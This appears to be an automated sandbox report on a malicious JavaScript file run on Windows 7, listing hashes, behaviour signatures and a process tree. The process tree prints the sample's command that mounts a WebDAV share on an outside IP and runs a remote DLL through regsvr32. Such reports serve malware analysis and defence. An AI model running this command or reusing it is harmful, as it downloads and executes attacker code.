Analysis

  • max time kernel
    120s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    23/07/2024, 07:06

General

  • Target

    255161624119574539.js

  • Size

    5KB

  • MD5

    7a927b8e5bbe73ff64f4439a43e970ef

  • SHA1

    27e8ac00caa1ed744e99a38cd80f9e0946bd1fd4

  • SHA256

    c520c27fa8447e75670492e4ce4b323c06574f33ec30a483df886cb60091d2a7

  • SHA512

    5649668d4208e5437e9c95f3315afd19d5e7cb1cc1c7a8084d7977bca42862579cf5e2e793acbfe90b3f2b77bde044d0e8b1bf76ba13e790cd9447abe44b3f56

  • SSDEEP

    96:J4wRMkh7ZCnNZNN0xJBrMV+BIDVFuhO+C009tehfAkQKhZG7c+C009tehfLpyW:JEu7Z0vNN0xJBrMV+BiVFuhktEfAkQY6

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\255161624119574539.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2384
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\3761251617238.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1424
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2032

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads